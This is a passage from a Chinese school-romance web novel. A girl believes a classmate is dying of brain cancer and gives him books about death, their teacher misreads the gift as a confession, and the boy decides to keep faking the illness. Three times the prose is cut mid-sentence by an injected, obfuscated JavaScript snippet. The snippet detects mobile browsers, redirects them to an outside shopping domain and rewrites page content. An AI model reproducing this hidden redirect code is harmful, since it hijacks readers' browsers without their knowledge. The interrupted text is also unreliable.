扉页写着四个大字“礼物清单”。 小学毕业那年,她认识了3000个汉字,那天,陆维正和林韵牵着她的手,走进一家专门做手工文具的店铺,她只记得,那家店铺的装潢和她的笔记本一样繁复精致,像是误入了某个复古的童话世界。 等待了整整两个月,笔记本被送到她的面前,A4纸大小,厚度适中,内页使用的是象牙白色的水彩纸,每一张都厚实挺括,边缘烫着细细的金边,她不喜欢横线或者格子的束缚,空白页给了她做大的自由。 爸爸妈妈把笔记本送给她,并告诉她。 “我最亲爱的宝贝,以后,你想要任何礼物就写在上面,晚上睡着的时候,有一位老神仙会看到,然后把礼物带来。” 后来她才知道。 就像外国没有圣诞老人一样,中国也没有那么一位老神仙,不过,她还是收到了想要的任何东西。 林黛蜜觉得思考送别人什么礼物是很烧脑的事情,得让对方喜欢,还不能送重复,在这样的情况下,她的笔记本被爆改成了“礼物清单”,她一般会把笔记本递给过生日的人,让他们自己选一个满意的。 在她能力承受范围内,里面列举了几百上千种东西,社会不断向前发展,人类创造的东西越来越多,她的清单也就越来越长。 周六是陈喻的生日,放学回家的路上,林黛蜜一直在想要送他什么好。他和别人不一样,他是即将离开这个世界的人,要是看到她的笔记本上记载着这么多好东西,而他没有足够的时间拥有了,该有多么伤心。 那太残忍了。 所以,林黛蜜决定亲自选一个,吃的不行,他身体不好,玩的也不行,他嫌幼稚……那就送书吧,陈喻上课除了睡觉就是看课外书,什么《规训与惩罚》《小镇喧嚣》《置身事内》,虽然在林黛蜜看来,他的那些书自己只需要读两行就会睡着,但陈喻说,那是用来长脑子的。 脑子长没长她不知道,反正脑子里的瘤是长了。 18. 18 决定好了送书,那送什么书好呢?虽然没有濒临过死亡,可她依旧明白,活着是人类的本能欲望,任何人在死之前都会恐惧,她想送几本能减轻他恐惧的书,但愿这样做会起到一丁点的作用。 第二天中午吃完饭之后,林黛蜜没有像平常一样午睡,而是乘12路公交车,穿过去半个市区,去了本市最大的书店,再花费半个小时挑了好几本书。 出来结账的时候,书店的收银员姐姐看到她选的书,没忍住说,“小姑娘,你是有什么心事吗?姐姐这会儿不忙,你可以跟姐姐说说,或者姐姐请你吃好吃的?” 看着眼前这位姐姐担忧关切的目光,林黛蜜居然破天荒读懂了她的内心活动:这个小孩要搞事情,我得阻止她。 这也能理解,因为她选的书都不太“正常”,简直可以称为死亡大套餐。《好好告别》《向死而生》《死亡哲学》《直视骄阳,征服死亡恐惧》《我离开之后》《如果一年后,我不在这世上》《生别离》《当呼吸化为空气》。 为了让她能安心上班,林黛蜜看了一眼手表,还有一点时间,于是,她用了大概五分钟的时间,向收银员姐姐解释,她有一个朋友…… 收银员姐姐听完,内心感慨极了,她说,自己是个很感性的人,不然就不会在图书馆干了那么长时间,她说那些书她都看过,知道书里的哪一句话最动人,她建议林黛蜜在每一本书上写下那一句话,好让那个年轻的男孩儿,有翻开这些书的勇气。 她说,一个人决定认真阅读一本书,是要有触发点的,大多数是为了里面的某一句话;一个人决定了解另一个人也是同样的道理,不是因为对方的外表,才华,经济状况,可能是因为,对方一些很奇怪独特刁钻的点。 后面的部分,林黛蜜不太了解,但她是个总结小能手,“也就是说,决定看一本书或者了解一个人,都是类似于为了一碟醋包了一顿饺子的行为。” 收银员姐姐愣了下,随即笑开,“好像也可以这样说。” 于是,林黛蜜采纳了这一意见,在收银员姐姐的帮助下,她在那些崭新的书的第一页依次写上这样的句子。 “死属于生命,就如生也属于生命。” “每一个时刻都是真贵而独特的。” “说不定死亡时,灵魂就会从□□中获得解放,更加自由地四处游荡。” …… 写完之后,林黛蜜来到学门前的文具店,买了张精美的纸,把它们包起来,店里的老板送给她一张硬纸卡片,建议她在上面写上自己想要说的话,然后一同送出去,那样收到礼物的人会开心,会感到温暖。 林黛蜜是个非常听劝的人,况且,关于陈喻,她想让他在弥留之际,感受到所有来自这个世界的,细枝末节的温暖和幸福。 做完这一切之后回到学校,她推开教室门,发现里面一个人都没有,她这才想起来,周二下午第一节课是体育,大家直接去了操场,她走进去,停在陈喻的书桌前,把那一摞包装精美的书塞进他的书桌。 为什么不当面给他呢?是因为林黛蜜发现,自从上次被胡波叫去谈完话之后,陈喻这几天很不爱搭理她,就拿昨天来说,他们在公交车上遇到,林黛蜜旁边有空的座位,陈喻明明看到了,还是去和另一个不认识的人坐在一起;他还和孟源换了位置,两人不再是前后桌,也不再找她借笔借纸…… 不知道他为什么突然这样,林黛蜜只好把这些统一归因于,病人闹情绪,过两天就好了。 —— 上完体育课,陈喻回到教室,一眼看到书桌里的东西,脸上闪过些许疑惑,他扭头问旁边的孟源,“你弄的?” 看到粉红粉红的包装纸,孟源像看到骨头的狗一样凑上来,“怎么可能是我,这应该是你的某个迷妹,大概姓张。” “你别忘了,去年她把礼物给你,你退回去,她又找了第二个人给你,你再退回去,她又找了第三个人给你,最后搞得几乎全班都知道了这事儿。” 陈喻当然没忘记,不过他不怪别人,要怪就怪自己手贱,非要管刘宏路和张雨倩的那点破事儿,结果各种麻烦缠上身。 孟源拿起那一摞书掂量着,“嚯,够沉的,不过,看上去她今年做了功课啊,知道送书了而不是什么杯子啊,手表之类的妄图困住你一辈子的玩意儿。” “我又不缺书看。”陈喻拉开凳子坐下,“你喜欢你收着。” 孟源:“我哪是看书的人,你还是想想怎么处理吧,最好在其他人上来之前处理掉。” 领教过了张雨倩的手段,陈喻也算是长记性了,这次他不退回了,他要交给上级处理,至于怎么处理那就是胡波的事情了。 思考的功夫,孟源手痒痒地拆开了包装,抽出里面的卡片,“我靠,上面有字。” 他念了出来。 “我代表整个世界,代表所有善良可爱的人类,由衷地喜欢你,不管你何时离开,不管你即将去往哪里,你要记得,我们会怀念你。” 善良可爱? 陈喻心下嘲讽,她怎么敢腆着脸代表的,谁让她代表的,在全世界范围内,善良可爱的人只有林黛蜜那个大呆瓜。 “不过,”孟源放下卡片,随手翻了翻那几本书,“这些书咋都死死死的,一副活不起的样子,喻哥,她不会在咒你吧!” “包起来!”陈喻看都没看一眼,拧开矿泉水喝起来,等孟源将书恢复原状后,他抱着那几本书直接敲开了办公室的大门,径直走向胡波。 “老师,这东西给您。” “给我的?”胡波先是疑惑,后来脸上突然涌现笑意,他摩挲着光滑的包装纸,“难为你小子还知道今天是我生日,还特意选了书,背后做了不少功课吧。” 陈喻:“……老师,其实这个……” “不用说,我都懂,”胡波站起来,脸上挂着慈祥的笑,一下一下轻轻拍着他的肩膀,“虽然你平时老是惹我生气,但我知道,你是个好孩子,你害羞说不出口的话,我都能领会。” 陈喻:“……您真的能领会吗?” “真的能领会。”胡波递给他一个放心的眼神,“快去上课吧。” 胡波目送他走出办公室,然后将自己陷入椅子里,下午的太阳从窗户散落在他后背,散发出柔和的光,他就坐在那团光晕里,手指扯着金黄色的丝带,一点一点地打开,整张脸都笑得皱成了一朵花。因为,这是他从教生涯里,第一次收到礼物。 从第一天站上讲台那天起,他就发誓,一定要做一个优秀的人民教师,他给自己立了很多规矩,其中就包括,不拿学生和家长的一针一线,他只会在毕业的时候,让学生们为自己留下一张卡片,上面贴一张小小的一寸照片,下面是想对他说的话,嬉笑怒骂的,好的坏的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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全是批评,这哪有喜欢上的理由啊,这不纯纯受虐狂嘛,难道,是更早之前那件事?毕竟以陈喻分班考的成绩,就算不能呆在重点班,倒也不至于来六班,可他就是选了六班,没错了,陈喻来六班就是为了他。 那是一个中午,为了防止学生中午不回家在教室联网看抖音之类的,胡波每天吃完午饭都会上教学楼巡查一圈,然后他就发现,陈喻每天都在教室看书,他从不干别的,看完书就趴下睡一会儿,他很乖,胡波也就没督促他回去,也没打扰他。 直到那天,胡波巡查完,刚从教学楼出来,头顶的吊灯开始摇晃,他马上意识到是地震了,然后拔腿就往楼上跑,叫醒刚睡着的陈喻,拽着他的手就往操场跑,好在那次地震不严重。 胡波回忆了一遍那个过程,他当时确实拉了陈喻的手,可那是紧急情况,怎么就产生了爱情呢。 这时,胡波放在一小摞练习册上的手机亮了,是他的妻子。 老婆:【今天下班直接去爸妈家,别忘了。】 胡波:【老婆,我是不是很有魅力?】 老婆:【有个屁的魅力。】 胡波:【吾妻之美我者,私我也,实话告诉你,有人喜欢上我了。】 老婆:【有人是谁,把她的微信号推给我,我和她商量价钱,刚好家里的冰箱需要换,我打算把你卖个高价,然后换个大牌子。】 胡波:【老婆,我说真的。】 19. 19 胡波大抵是疯了。 周四早上,高二六班的教室里一如既往地吵闹,直到教室门被“砰”地推开,全班呆若木鸡——不是因为他们看到了班主任,而是因为他们以为自己眼花了。 胡波,一天之前还正常的胡波,此刻身上穿着一身荧光蓝的修身西装,内搭荷叶边雪纺衬衫,脖子上系着一条印满hellokitty的领结。 原本板寸的头发抹了厚厚一层发胶,梳成夸张的背头…… “早安啦,我亲爱的同学们,”他捏着嗓子,声音比平时尖了八度,尾音还带着波浪线,不知道他是不是害怕扯开裤.裆线,走进来的时候,他还刻意扭动着宽大的臀部,黝黑的皮鞋跟在地板上敲出“哒哒”声。 看着这帮小屁孩的表情,胡波反而不紧张了,昨天晚上回去后,他和老婆商量了,他唯一能被学生喜欢上的点就是,他是个硬汉。 当年轻的女老师被学生表白后,她们大都会换上非常显老的衣服,化妆把自己打扮得老气横秋,这一招据说很有用,没办法,人活着就是这样搞笑。 孟一格已经石化,她捏了捏林黛蜜的手,“糖糖,让你见笑了,六班确实有很多要改进的地方。” “我靠喻哥,我是不是没睡醒?”孟源张大的嘴巴里能塞进去一个鸡蛋,“你快掐我一把!” 陈喻还算淡定,他拧了一把孟源的大腿:“虽然不知道为什么会变成这样,但是任何现象的出现,背后都是有本质原因的。” “什么原因啊?”林黛蜜呆呆地扭头问孟一格,她有一点被吓到了,人怎么会突然变成这样呢,“他以前偶尔也会这样吗?” 陈喻:“大概是某种新的病毒要来了吧。” 孟一格垂眼,她不再看向那根刷了绿漆的老黄瓜,太辣眼睛了,有研究表明,人长时间看丑的人会变丑,长时间看美的人,会变美,她决定,以后还是多看看林黛蜜。 全班同学的表情仿佛集体目睹了外星人登录地球,不对,比那还严重一点,应该是,外星人附身到了胡波身上。 大家现在肯定在想,脏东西,你最好从我们班主任身上下来!脏东西不但占用了胡波的身体,还统治了他的语言系统。 “哎呦,今天怎么这么安静呀?”他翘着兰花指走下讲台,“让人家好不习惯呢。” 苍天啊!大地啊! 到底是谁不习惯啊! 教室里响起几声压抑的抽气声,胡波假装没听见,他来到了陈喻面前,用甜得发腻的声音说,“在背课文啊!” 林黛蜜浑身起鸡皮疙瘩,她秀眉弯弯蹙着,向陈喻投去同情的目光。 看着林黛蜜一张小脸皱在一起,陈喻实在忍不住开口:“波波啊,你正常一点,你这样会吓到她的。” 胡波,“好,我先出去了,就不打扰你们早读了。” 往常需要吼三遍才能安静的朗读环境,今天全班却像军训一样整齐划一,声音洪亮得震耳欲聋,而且每个人都坐得笔直。 没想到还有意外的收获,这就被吓住了,果然是一群小屁孩。胡波的这些症状一直持续到周日晚上。 周六下午四点五十分,陈喻用钥匙打开家门时,听到了厨房传来的动静,他站在玄关处了愣了几秒,手指无意识地摩挲着钥匙边缘的锯齿,他在想,要不要趁着没人发现时,打开门偷偷出去。 “儿子回来了?”喻晓从厨房探出头,额前的碎发被汗水粘在皮肤上,她系着围裙,这让陈喻感到很陌生,“今天你生日,我和你爸正在准备晚饭呢。” “哦。” 他大概能猜到这对夫妻的用意,儿子就要出国了,在国内的最后一个生日,亲手下厨做一顿饭。 陈喻把书包放在鞋柜上,弯腰换拖鞋时闻到一股焦糊味,“什么东西烧焦了?” “我的糖醋排骨!” 喻晓紧急跑回了厨房,有人就要问了,明明陈禛启在厨房里,糖醋排骨怎么会烧焦呢?这件事其实可以从陈喻的名字出发去解读。 陈喻陈喻,陈禛启的陈,喻晓的喻,他们俩在任何事情上都要争个你我,其他可以分割,但生出来的孩子总不能劈成两半。除了陈喻,其他的事情他们都是各干各的,有那么点个人自扫门前雪的意思,所以,就算喻晓的菜糊了,陈禛启也不会多看一眼的。 陈喻回了房间,他戴上耳机打游戏时,吵闹声再次传来。 “我刚才看了教程,虾就要蒸着吃,蒸着吃才能保留原汁原味。” “我也看教程了,水里放葱姜,煮的虾不会有腥味。” “你看的什么破软件。” “你看的才是破软件。” …… 陈喻站在厨房门口,看着父母面对面站在灶台两侧,喻晓手里攥着一袋活虾,塑料袋因为虾的挣扎发出哗啦哗啦的响声,陈禛启则举着锅铲,面前的不锈钢锅里残留着一圈褐色的焦痕,厨房里弥漫着水汽,海鲜腥味和某些东西烧焦之后的刺鼻气味。 “我出去买个东西!”陈喻说。 他没觉得这有什么大不了的,自从他记事起,只要在他们俩共同存在的空间,一定会充斥着这种声音,简直像咖啡店里的背景音乐一样熟悉到可以忽略不计。 从小区门出来,他打开手机导航,输入厨房电器四个字,然后打了个车,到地方之后,他盯着货架上各种各样的锅具,“也没有蒸煮两用的锅。” “有的有的!”店员从后面货架上拿下来一个银灰色的锅,“这款锅是我们这一季的新品,主打一个……” “就它了,包起来。” 拎着包装盒回家时,出租车经过体育场,他的目光被羽毛球场上的女孩吸引。 为了看得更清楚,他点开手机相机,隔着十几米的距离拍了几张照片,照片里的林黛蜜,穿着一身浅粉色的运动套装,头戴遮阳帽,马尾辫随着每一次挥拍在空中划出半个弧线,脸颊因为热气泛着不自然的红晕,整个人粉粉嫩嫩的,像一颗刚熟透的水蜜桃。 陈喻盯着看照片的功夫,出租车已经停下了小区门口,陈喻付完钱下车,再一次推开家门,里面的两个人还在争锋相对,他将锅放在桌子上,介绍道,“这是最新款的蒸煮两用锅,陈先生你把你的虾放在锅底,喻女士你把你的虾放在蒸笼,你们可以蒸一半煮一半,不用感谢我。” 说完后,他换了套宽松的衣服便出了门,将那些吵闹关在屋子里。 一个干净利落的扣杀后,林黛蜜终于体力不支,她瘫倒在塑胶地面上,“妈妈,我打不动了,休息一会儿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958201|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “脏不脏啊就坐地上。”林韵摇着头走过来,伸手把女儿拉起来,又从口袋里掏出一包湿巾,抽出一张仔细擦了擦林黛蜜头上的汗。 “那个人是找你的吧,站在那里看了有十分钟了。” “哪个人?”林黛蜜顺着母亲目光的方向看去,“妈妈,那就是陈喻。” 林黛蜜先是朝陈喻招招手,然后一路小跑到他身边,“陈喻,你怎么在这里?” 男生口吻随意:“一个人呆着无聊,出来运动运动。” 林黛蜜诧异两秒:“今天不是你的生日吗?怎么会一个人呢。” 一个最简单不过的问题,似乎让男生陷入了纠结中,“因为我……” “不用非要回答的,”林黛蜜连忙解释,“我没有其他的意思,这样吧,你在这里等我一下。” 林黛蜜跑回母亲那里,说自己有点事情要办,让林韵先回去,林韵并没有问她有什么事情,只是让女儿晚上早点回来。 得到林韵的允许,林黛蜜走过去问,“你吃饭了吗?” “没有,” “我也没吃,那你想吃什么呢?” “都可以,”说完,他又补充了一句,“你喜欢吃的,我都可以。” 林黛蜜笑,“你不用迁就我,今天是你的生日,自然要选你喜欢的,再说了,我喜欢的你还真不能吃。” “为什么?” “因为你生病了呀,我喜欢的那些甜的辣的,油炸的你当然不能吃,我本来想买个生日蛋糕给你的,可是那里面含糖量太高,我怕你吃了之后身体不舒服,然后突然挂了。” “挂……挂了?”陈喻不可思议地重复她的话,“我生什么病了。” “脑癌啊,你告诉过我的,虽然你不告诉别人,可是大家其实都知道,你没多少日子了。” 陈喻满头问号:“不是,谁告诉你,我得脑癌了?” 林黛蜜目露悲怆,“这个病还会让人失去记忆吗?是你告诉我的呀,就在学校门口那家理发店。” 陈喻:“……” 一瞬间,所有的事情都能解释通了,他用来拒绝办卡的借口,被她当真了,陈喻脑海中闪过好多她过的话,以及那“悲伤”的目光。 所以,她才会说, “你以后一定要去一个好地方。” “你以后就吃不到了” “他虽然脑子有点问题。” …… 原来是这样,难怪她那么地“关心”自己,陈喻彻底笑了,他忘了上一次这种笑是什么时候,大概是十几年前吧,他会因为坐滑梯而笑出来的年纪。 尽管很想问陈喻在笑什么,可他笑得太开心了,林黛蜜不想打扰他,想让他多笑一会儿,最好,让他笑到最后。 过了一会儿,陈喻估计是缓和过来了,只有眼角的笑意还滞留在那里,“林黛蜜,其实那天我……” 他想解释的,他想说得了脑癌只是不想办卡的借口,可不知道为什么,话到嘴边,他又犹豫了。为什么要解释清楚呢,要是她知道自己没病,肯定会更喜欢自己的,那到时候他出国去了,她不得抱着他的腿不让走,现在她以为他生病了,刚好。 唉,被她喜欢上真麻烦。 还得装病。 20. 20 “其实那天你怎么了?” “其实那天……我心情很差,但是看到你之后我笑了。” 好吧,是在心里笑的,毕竟他是帅哥,怎么可以在公共场合露出傻笑呢? 他没有撒谎,因为那天陈禛启知道他考试时画了个乌鸦后,将他臭骂一顿,虽然他不在乎,但被骂的心情总归好不到哪里去。 林黛蜜问:“为什么?” 陈喻的声音有些含糊:“因为那天,你的头发像是被狗啃了似的,很好笑。” “嘿嘿嘿,”林黛蜜尬笑两声,“我还为了剪坏头发懊恼了一个晚上,可你要是这样说,我庆幸自己剪坏了头发。” 晚霞一层层被染黑了。 但太阳好像站在了他身边。 她没有觉得那是嘲笑,反而觉得给一个“将死之人”带来片刻欢笑是值得庆幸的事情。 怎么会有人这么傻。 这完全不符合陈喻对这个荒唐世界的判断。 林黛蜜意识到,陈喻已经静静地看着自己好久了,越长大她越容易发现,周围的人总是没有预兆地无理由地沉默,他们在想什么,陈喻此刻又在想什么? “喂,你在发呆吗?我刚才说的话有什么问题吗?” “没问题,我们去吃饭吧。”陈喻的声音里有了笑意,愉悦到,好似大病一场突然痊愈了,林黛蜜偷偷红了眼眶,几个月后,世界上拥有这样笑容的人会少一个。 她执意要求陈喻自己选择吃什么,考虑到自己“有病”的事实,陈喻选择吃牛肉面。 各自点了一碗面,又加了两个小菜,一盘牛肉。 吃完之后,两人从牛肉面店出来,林黛蜜不小心踩了一个人的脚,她立马道歉,“对不起。” “没事儿,小姑娘。” 正要走开,那人却叫了声:“陈喻!” 闻声,林黛蜜站住了,眼前站着的,是个中年男人,穿一身运动套装。 男人拍了拍陈喻的肩膀,熟络道:“来吃牛肉面?” “嗯。” 陈喻没什么表情,简单应了一声。 看来他们是认识的。 接着,男人又问,“那游泳那事儿……” 一听到游泳两个字,陈喻立马变脸,他拉着林黛蜜快速离开,只丢下一句,“不办卡,没兴趣。” 林黛蜜被拉着往前走,直觉告诉她,这里面有故事,但陈喻明显不想说,她就再没提。 从牛肉面店出来之后,陈喻送林黛蜜回家。寂静无声地走过一个路口,两个人的目光同时看向一家蛋糕店。 是一家已经关门,但灯还亮着的的蛋糕店,林黛蜜拉着陈喻跑到一整面橱窗那里,隔着一层玻璃,高高的架子上摆放着几个又大又漂亮的蛋糕。 “你看最大的那个。”她踮起脚尖,鼻尖几乎贴上橱窗玻璃,在玻璃上呵出一片白雾。 他看到了,女孩指的是那款三层高的奶油蛋糕,顶端用糖霜勾勒出繁复的星空图案,最上面一层插着十来个木棍,木棍的顶端粘着银色的可食用星星,星星在灯光下闪烁着细碎的光芒。 陈喻:“你想要这个吗?我知道有一家蛋糕店不打烊,他们会做任何复杂的蛋糕。” 林黛蜜摇摇头,“听说人死之后,会变成天上的星星,你看星空多美丽,去那样的地方,你应该就不会那么害怕了吧。” 怎么可能不害怕呢,她那样说,更像是在劝自己不要害怕。 陈喻站在距离她半步的位置,能闻到女生发丝间飘来的香气,混合着夏夜特有的温热气息。 “嗯,不害怕了。” 心里泛起一丝夹杂着愧疚的懊悔,很陌生的感觉,他在想是不是,不应该骗她。 林黛蜜拍了下手,“既然是过生日就得唱生日歌,就得许愿,生日歌我来唱,愿望你来许,就对着这个世界上最漂亮的蛋糕。” “开始了啊。” “祝你生日快乐~祝你生日快乐~祝你生日快乐~祝你生日快乐~祝亲爱的陈喻同学,生日快乐~” 女孩双手合十放在胸前,第一句歌词飘出来时,恰好有夜风吹过,带起她马尾辫的发梢,发丝在橱窗反射的光晕中变成半透明的金棕色。 最后一句歌词被夜风吹得微微不变形,陈喻的喉结不明显地滚动了一下,他觉得有一股细小的电流从后颈窜到全身,他被自己心头的想法吓了一跳。 怎么办,遇到高手了! 她也太会了吧! 生日歌唱完了,林黛蜜见他又发呆,便伸手碰了碰陈喻的手背,“该你许愿了!快闭上眼睛。” 手背上凉凉的触感传来,陈喻怔了怔,下意识闭上眼睛,黑暗中,脑海中一直有个声音。 那大概是他的愿望。 “我要是真的不久于人世就好了。” 24小时便利店的门铃响起,最后一罐冰啤酒被买走,小狗热得吐舌头,蟋蟀在草丛中摩擦翅膀,柏油马路尚有余温,我们看着橱窗里的奶油蛋糕过生日,你会用亮晶晶的眼睛温柔地注视我,让我闭上眼睛许愿。 而我会许愿,许愿这不是一场美梦,当我睁开眼睛时,你依旧在我身旁,注视着我。 脑海中突然出现这些酸词儿,咦,这太矫情了,一点都不符合他厌世的大帅哥人设。 陈喻睁开眼睛时,林黛蜜依旧用那双漂亮的杏眼呆呆看着他,没有离开过。那一刻,他在想,被这样清澈灵动的目光注视过的人,都是幸运的。 他也是其中一个。 如果要用动物形容一个人的话,那林黛蜜就是呆狐狸,足够聪明漂亮,足够单纯可爱。 “好啦,许愿完毕,”林黛蜜说,“生日礼物你也已经收到了,我宣布陈喻十七岁的生日圆满结束。” 生日礼物?陈喻马上反应过来,原来那些书是她送的,不行,一会儿得找胡波要回来。 *** 把林黛蜜送回家之后,陈喻不敢耽误片刻,立马致电胡波。 “喂?” 一首《精忠报国》都快唱到“来贺”两个字了,电话才被接起来,那头传来胡波标志性的烟嗓,但其实胡波是个烟酒不沾的人,他的嗓子是过度咆哮才变成这样的。 他发电报似的,声音很急促,“波波,波波,我是陈喻。” “陈喻?”那头似乎被吓到,声音突然拔高了几度,“你……你找我干嘛?” 陈喻:“……我又不是鬼,您那么激动干嘛。” “有事说事。” “我前几天不是给了您几本书,现在我想要回去。” “啥?” 胡波安静了几秒,他在想,是不是自己的办法奏效了,陈喻的幻想破灭,不喜欢自己了,然后要把礼物要回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958202|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这么说……你不再肖想我了?”胡波那个兴奋啊,下周不用再扮成娘娘腔了,终于可以做回自己了。 陈喻:“……” 肖想胡波! 他陈喻有那么饥不择食? 明明是林黛蜜肖想他。 陈喻真心提出建议:“波波,那脏东西还没离开你?要不然咱去庙里问问……让那个太监鬼别缠着你了。” 胡波捏着电话使劲儿翻白眼,“你小子有本事再说一遍。” 由于电话里解释不明白,陈喻建议胡波拿上自己的书,两人找个地方当面锣对面鼓说清楚,胡波觉得无所谓,他还得保持自己的清白呢。 十分钟后,两人走进了一家奶茶店,店员问他们要喝什么,陈喻指了指最上面那个招牌,“芋泥波波。” “什么?”胡波一惊一乍道,“我不想要芋泥波波。” 这动静,吓了人家店员一跳。 这个奶茶的名字太暧昧了,陈喻一直叫他波波,在加上前面还有芋泥两个字,那谐音不就是“与你啵啵”,学生可以不懂事,作为老师,他不允许再发生任何模糊暧昧的事情。 陈喻哪里知道他那如大小肠弯弯绕绕的脑回路,只能无奈道:“……见谅啊,老年痴呆了,给他来杯巨无霸珍珠奶茶。” “我的书呢?” 胡波:“你先回答我一个问题,你说,你为什么对我有那种想法?” “那种是哪种?” 胡波压低声音,“你少装蒜,敢做不敢当,你为什么要喜欢我?” “全班都喜欢你啊。” “我说的是男男的那种喜欢。” 陈喻:“?” 老胡啊老胡,看不出来,你知识面涉猎得挺广啊。 “没有的话,那这是什么?难道不是表白?”说着,胡波拿出最上面那本书里夹着的纸条,“你看看自己写的都是些什么大逆不道的话。” 联想到胡波这几天的反常行为,这一次,陈喻的脑子彻底转过来了,想通的一瞬间,他笑得前仰后合。 笑了好长一段时间后,陈喻手指捏着那张卡片,“所以说,就因为这个,您以为我喜欢您,为了不让我再继续下去,你走上了娘娘腔的道路?” 胡波没好气地瞪他一眼。 “欸,波波,你看这句话多纯洁,你怎么就敢往那么邪恶的地方想?” 胡波脸黑到说不出话。 “我先声明,我对您真的没想法,我刚开始以为这些书是其他人送的,我不想要就想着捐给您,结果您误会了,但我不久才前知道,这书是林黛蜜送的,所以现在我要拿回去。” “哦,是她送的你就要拿回去,其他人送的就要捐出去,这回承认早恋了?”胡波终于抓住一个把柄。 “送书又不代表早恋。”陈喻翻着几本看上去内容差不多的书,“再说了,您看她送我的都是些关于什么的书?” 胡波摩挲着自己光秃秃的下巴,“我觉得她不喜欢你。” “她想超度你。” 陈喻笑了下,他拿着那张卡片看了又看,然后小心翼翼夹到某一本书里,再将一摞书仔细包起来,修长的手指系好丝带,站起来拍了拍胡波的肩膀。 我乐意被她超度。 脑海中自动接了这么一句话,陈喻吓得跑了出去,很快,消失在夜色中。 21. 21 众所周知,高中每周有两节体育课,六班的第一节体育课在周一早上,第二节在周三下午,林黛蜜比较喜欢周一上午的那节,因为那会儿太阳没那么毒,跑起步来轻松一些。 但有人喜欢周三下午第一节,因为可以来迟一点,更有甚者,会等学校大门关了之后,偷偷翻墙进来,然后大摇大摆混入正在上体育课的队伍中,不过,这种情况成立的前提是,体育老师不查人。 但今天体育老师王钢,人送外号王铁柱,偏偏就较那个真了,上课预备铃一响,王铁柱马上吹响了哨子,学生赶鸭子似的跑过来,排排站好。 “全体都有!” “立正!” “稍息!” “向右转,向前看,报数!” “一,二,三,四……十三!” 王铁柱双手背在身后,黝黑的脸绷着,眼睛像鹰一样扫视着队伍,“高二八班,应到四十七,实到四十二,体育委员还有五个人呢?” 体育委员搓搓手,陪着笑脸,“老师快了,他们正在跑步赶来的路上。” “那就等着,”王铁柱突然一声厉呵,吓得距离他最近的几个人一哆嗦,“那五个什么时候来,其他人什么时候解散。” 完了,所有人手心里捏着一把汗,这下大事不秒了,要知道,那五个人来不来还是另一回事儿呢,队伍里一片寂静,只有几只知了在树上不知死活地聒噪。 全班等了五分钟,别说人了,连个鬼影都没有,王铁柱掏出手机看了眼时间,脸更黑了。 可能有人通风报信过了,一分钟后,不远处传来嬉笑声,四个男生一个女生慢悠悠地晃过来,手里还拿着刚买的冰棍。 “哟,哥几个挺会享受啊?”王铁柱皮笑肉不笑地开口。 几个人这才发现气氛不对,但为时已晚,只听王铁柱一声口令,声音陡然提高,“入列,向右转~” “以后几个人迟到,全班就跑几圈,今天你们班迟到五人,那就浅浅跑个五圈。” “啊?凭什么?”队伍里一片哀嚎,有人不服气地抗议,“关我们什么事。” 王铁柱咧嘴一笑,露出森白的牙齿,“大家都是文化人儿,连坐制度,懂吗?一个犯错,全体受罚!要怪就怪他们五个。” 迟到的几个人瞬间成了全班公敌,几十双眼睛刷刷瞪向他们。 “跑!”王铁柱一声令下,全班不情不愿地迈开步子,第一圈,大家还勉强维持着队形,第二圈队伍开始松散,有人已经脸色发白…… 烈日当空,塑胶跑道被晒得发烫,热气蒸腾上来,空气都开始扭曲,林黛蜜微微喘着气,不时侧头查看陈喻的情况,“你还好吗?” 陈喻垂下睫毛,露出一副身残志坚的样子,“我还能坚持。” “你要是难受就告诉我,我去跟老师说。” “你放心,我没那么容易死。” 不知道过了多久,五圈终于跑完了,全班瘫倒一片,像被晒在沙滩上的鱼干。 但王铁柱还没打算放过他们,“别瘫在地上,还有半小时,起来活动。” 见八班终于解散了,隔壁五班几个男生过来,说他们班体育老师提议组队打篮球。 “没问题,”王铁柱大手一挥点了几个人,“陈喻,孟源,王树晨,尚文龙,跟我去会会五班。” 陈喻走过去说:“老师,我不想去。” 王铁柱语重心长道,“虽然只是一次课堂较量,可毕竟关乎班级的荣誉,小伙子不要扭扭捏捏的,上去干就完了。” 可任凭王铁柱怎么说,陈喻还是那三个字,“不想去”。 被当众驳了面子,王铁柱明显有些不悦,他双手叉腰,问道:“你为什么不想去?给我一个理由。” 陈喻看向王铁柱,声音淡淡的,却不容反驳,“当然有理由,但我不想说。” “你……”王铁柱觉得被冒犯,又是几声冷笑,“你们班真是人才辈出啊,既然不想打那就去跑圈好了。” 陈喻:“可以。” “好,那就去跑,一直跑到下课。” 眼看事情陷入了僵局,张雨倩站出来,她走到陈喻身边,柔声道,“陈喻,你为什么不想去,要是有什么顾虑说出来大家可以一起解决啊?” 陈喻:“这事儿和你有关系吗?” 